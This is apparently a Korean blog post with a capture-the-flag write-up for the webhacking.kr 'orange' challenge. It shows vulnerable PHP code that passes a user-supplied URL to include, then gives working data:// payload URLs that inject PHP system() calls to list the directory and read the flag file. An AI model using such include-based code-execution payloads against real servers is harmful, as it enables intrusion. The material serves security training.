728x90
반응형
🍊 orange 문제 풀이
이 문제의 PHP 코드에는 외부 URL을 포함할 수 있는 기능이 있는데, 이 기능에 대한 유효성 검사가 애매해서 SSRF가 발생된다.
PHP 코드 분석
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
if($_GET['view_version']){ echo phpversion(); exit; }
if($_GET['ls']){ system("ls -a"); exit; }
if(isset($_GET['url'])){
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
include $url;
}
echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>
주요 기능
- 소스 코드 보기: ?view_source=1 → PHP 소스 코드 출력
- PHP 버전 보기: ?view_version=1 → PHP 버전 출력
- 디렉토리 목록 보기: ?ls=1 → ls -a 명령어 실행
- 파일 포함: ?url= → .txt 확장자 파일을 URL로 포함
취약점 분석 (파일 포함 기능)
문제의 파일포함부분 코드는 이거다.
if(isset($_GET['url'])){
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
include $url;
}
이게 왜 문제냐면은
- data:// 스킴 우회
- filter_var()로 URL 형식은 검증하지만, 비표준 스킴(data://)은 걸러지지 않음.
- PHP 코드 실행 가능
- data:// 스킴을 사용해 임의의 PHP 코드를 포함 및 실행
이렇게 해킹당할수가 있기 때문이다.
익스플로잇
1. 디렉토리 목록 (ls -al)
http://webhacking.kr:10009/?url=data://webhacking.kr:10009/,http://webhacking.kr:10009/%3C%253fphp%2520system%2528%2527ls%2520-al%2527%2529%253f%3E
이 페이로드는 data://
스킴을 이용해 http://webhacking.kr:10009/
의 파일을 포함시키고, PHP 코드를 통해 ls -al
명령어를 실행한다.
디렉토리 내 모든 파일과 폴더의 상세 정보가 줄줄이 나와버린다.
2. flag 파일 읽기 (cat /flag)
http://webhacking.kr:10009/?url=data://webhacking.kr:10009/,http://webhacking.kr:10009/%3C%253fphp%2520system%2528%2527cat%2520%252Fflag%2527%2529%253f%3E
flag가 잘도 나온다 ..
문의는 댓글 남겨주세요
728x90
반응형
'webhacking.kr' 카테고리의 다른 글
Invisible_Dragon 풀이 (SQLInjection) (1) | 2025.03.26 |
---|